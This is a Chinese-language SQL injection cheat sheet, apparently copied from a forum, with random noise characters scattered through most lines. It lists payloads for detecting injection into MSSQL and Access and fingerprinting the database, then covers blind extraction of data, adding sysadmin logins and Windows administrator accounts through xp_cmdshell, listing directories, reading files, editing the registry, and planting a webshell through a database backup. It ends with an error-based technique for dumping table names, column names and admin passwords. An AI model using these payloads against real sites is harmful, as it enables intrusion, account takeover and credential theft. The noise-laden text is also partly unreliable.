1.判断是否有注入 5 q& d% s, n2 i. n- f6 r, E
;and 1=1
6 ^ @0 x+ K3 c6 J7 O/ Q;and 1=2 : D9 z$ A+ J. D
8 W5 ?4 g0 D3 o4 K8 Y
2.初步判断是否是mssql
( o2 W5 a! P" R7 P" Y# `% A/ p;and user>0
5 ]0 `) X' |4 s! J
( \* c# e1 w! E3.判断数据库系统 + D& y5 J5 v6 C
;and (select count(*) from sysobjects)>0 mssql 5 k; C, T$ y q1 q7 p5 ]- Q
;and (select count(*) from msysobjects)>0 access
8 D" P; r- T$ T: b% n+ g3 u: c
, e% ]& ~6 S. d* G @4.注入参数是字符 # z: `1 U. L, \) f
'and [查询条件] and ''='
' W) B- {- \. ]) h5 t! A+ b3 B4 \+ e( r$ J! ~
5.搜索时没过滤参数的 * f x i- ? l$ v: L! q
'and [查询条件] and '%25'=' " H3 w, _( Q5 Q6 W0 p! n8 `
. i3 M8 X: b/ X7 C" O8 j; H
6.猜数表名 * T0 C7 Q1 \8 X" @# o A
;and (select Count(*) from [表名])>0 1 m5 D8 z9 b# Y4 l# z+ `/ }9 }
+ S- W4 I x( m9 P7 B3 D6 [) U
7.猜字段 ; t1 A! [) b% q* N/ r( s& L
;and (select Count(字段名) from 表名)>0
! x; A( f) i' Y: b7 B. x
6 u3 ~$ T% i. E/ W8.猜字段中记录长度 5 Q7 O% h$ x2 X2 b9 u8 F1 o& n
;and (select top 1 len(字段名) from 表名)>0 ( N7 D- m7 Y [3 ]2 [
9 z! h m# A; o; s
9.(1)猜字段的ascii值(access) ( u/ T W- Y# |+ I+ A) P6 ^6 O
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
w+ Z+ W8 A4 D* M5 Y
5 Z' F0 {) v( K2 a3 n3 c; h5 w(2)猜字段的ascii值(mssql)
: Z* j1 ], k, g4 F% _4 B7 ~;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
6 W7 q' G+ t; }* c5 ^8 f1 {& N: P6 Z' I4 N. R; U, v5 F
10.测试权限结构(mssql)
6 }8 O0 V9 J5 H;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 `4 S+ F0 `8 R+ S4 G$ O;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
3 o8 N: E2 n' g: L/ N" Z! D;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ) O$ p2 `* B/ m' Y6 c2 x
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- - t1 {: q- }5 y1 P$ K: e
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ( t7 s2 c" a/ H
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5 S; d- q- [1 ~% t
;and 1=(select IS_MEMBER('db_owner'));--
) T2 T7 U/ f( a# s6 B3 m7 b$ O9 V1 p
11.添加mssql和系统的帐户
+ T4 `$ T- W7 I7 r3 O;exec master.dbo.sp_addlogin username;--
% Y! S4 O8 u% E; @5 \7 j;exec master.dbo.sp_password null,username,password;-- 1 }' K, }* E' q; L& ~- |- E
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 f3 y) W# |" \1 K, }- ]1 n2 Y;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
( P/ H4 |: ?6 t) d2 R7 t;exec master.dbo.xp_cmdshell 'net user username password /add';--
# g7 _+ Q7 |/ d. G P( U( |;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
2 i3 v1 q: K- q! O1 {* `0 _5 m# a; A# }: d# H1 _
12.(1)遍历目录 - h) _1 x1 |3 f" |
;create table dirs(paths varchar(100), id int)
7 I9 W1 U9 o& _;insert dirs exec master.dbo.xp_dirtree 'c:\'
1 f& `" w+ o1 x* J;and (select top 1 paths from dirs)>0 ' Z7 s2 F; d: q, }
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) . r6 p7 t! u# v% Z5 G C, u
% K& `2 h) M. O' ? I/ l0 H3 P(2)遍历目录 / t; n+ ^6 M" b; \# j: s0 d
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; H, z8 S. a4 e8 L7 P& ]: o
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7 [: r" _5 J+ P2 f4 G
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
; r$ X% f \: K% D* |; T S;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
! f. m; t2 b# E- u6 T' X5 L;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 % A: c# I" V. m" w
1 _; Y0 s ?3 A5 k2 l13.mssql中的存储过程 ' F' {/ Z0 s( B8 ~% P6 j
xp_regenumvalues 注册表根键, 子键 ' X0 O. x* \4 }# `. S
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4 L& k/ ^9 {! }3 Y% @ f" h. l8 E
xp_regread 根键,子键,键值名 ( ]+ A9 `/ |- R: s2 G
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
1 m/ P& Q3 {1 j7 N( a1 k1 F% exp_regwrite 根键,子键, 值名, 值类型, 值 ; a0 H/ k$ @# I( S! v8 ]- B% g7 _0 ~. a4 T
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $ N3 y: R7 r3 T- Y/ U0 ?% b5 {
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 0 T$ A7 _- Z X
xp_regdeletevalue 根键,子键,值名 6 l/ I/ V& j. V1 i+ I8 C7 l, j! Y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
" ]+ v' U E: @xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
' H* M/ I# i! S. v' ?* J l) Y1 z7 m" `* G
14.mssql的backup创建webshell
" V! n/ ?3 _3 f1 G5 V. ouse model 0 s4 m, X6 W& X# [2 t9 ]
create table cmd(str image); ! ]1 A* d# d8 }# h$ [9 f; P
insert into cmd(str) values ('<% Dim oScript %>');
3 M+ B2 ?$ p) F$ ~6 Z% vbackup database model to disk='c:\l.asp'; . o/ I8 J* U1 W% b+ `2 D
: m% M* c8 \* Q Y
15.mssql内置函数
2 ^3 a3 _+ r) }! g;and (select @@version)>0 获得Windows的版本号 # f5 @4 Q0 ]" k/ R9 @
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
9 ?& E3 O+ D2 W' G( [, A, J* I;and (select user_name())>0 爆当前系统的连接用户
* o; T# e* z3 [;and (select db_name())>0 得到当前连接的数据库
1 Q+ o r7 u/ `- P5 I+ D7 q: a- v) l2 U% f# x. p
, R6 h0 ^# X ]
' e9 s6 g( u! m5 W/ E% pMSSQL手注暴库- ` }7 q* a' x( d5 Y I- N U
, @7 n- H- S1 h9 ]% q1.暴出当前表名和列名- A2 S# h( P, t0 p+ h( R) D% m
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。. {% [3 u6 `0 L$ e
; r/ f; U, ^5 q: [. z* X
第一.爆出所有数据库名
6 h0 E) X: Q) b/ R4 k& R利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。) o, R( [2 |/ w& F4 o: I- T
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。) P y1 }5 s T5 q9 x/ k
6 M, I U7 ]1 p' F* _' zand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名' Z6 Z* s# U8 ~2 n9 j3 _# n& W8 |
. D9 `' |$ A+ Q2 B, |4 S0 t0 E' w' O$ c7 G
第二.爆出指定库中的所有表名( N* _$ v7 `- V- R) e2 }
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。' s+ a; P! a6 P9 U
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
" V _2 ]3 l& a. Y2 w h3 x; D1 [
- e! _# }6 d+ E( [* P5 Y/ Iand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--6 w' Z b+ f D" {2 F
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--8 s6 l F5 T7 ]) S
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--0 @+ u* X, ]; |
6 E) B4 Y- B [( _- o4 v
4.爆出指定表中的所有列名8 W. `, ?5 C. ~- z
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
/ P4 k y! S6 w" m% `' u t+ J' W//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
& [$ ~$ m3 x4 H9 G
: x* r. a4 f/ gand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名: J: ~8 i$ [$ ?9 |% ]
' k d8 }# b! R% }1 W$ R9 m! h
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- . w) Z1 Q) K: ?0 y# x
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。9 a4 [2 k) f9 L% o* x( C( {
9 Y$ `. {5 X6 q4 Z3 k% T! \% t/ s l4 m) B7 @( _. z
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值7 z& Z: S, O* l9 v) W& f; f3 h! r
! l/ c( B) P1 x* b% a7 e! C- jand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名# A- E5 I+ H& y! n3 @7 v( ?; [6 w3 O
7 G% W" y! S z$ i" D" Qand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ) T+ d: T1 x" F! S
9 h. e# @* |5 B- K! o! `" K; l7 E0 ~0 R+ v- s n9 A
5 G* X6 b7 h8 X- q/ Z; _4 D5.读取指定表中的数据# i2 W7 V2 S2 o- V+ K
" ^; ^& {: |6 S5 {$ u- q" B4 T( qand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
8 J" v$ z. x# g7 d) j2 G: m- j1 F9 e. I. ?/ \
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--* i! e' [' m3 v) w
k2 F' J' T. W6 m {and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码; A# u; w9 S3 U2 B2 @
3 r- c" D$ ]# W: h% O$ O( j" E. ?) ` A
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao). t- _ ?1 a y" k
2 \8 i1 M" X" N& \and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)* d+ \/ i6 H: M* _7 _: ]
( S9 x6 M2 o" U! B: _: z
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
" n8 _, H5 X! E! ]" F
# o) h/ e3 a0 M/ T) |( `6 [4 }知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。8 i* L4 V$ b8 r9 ` M9 m
|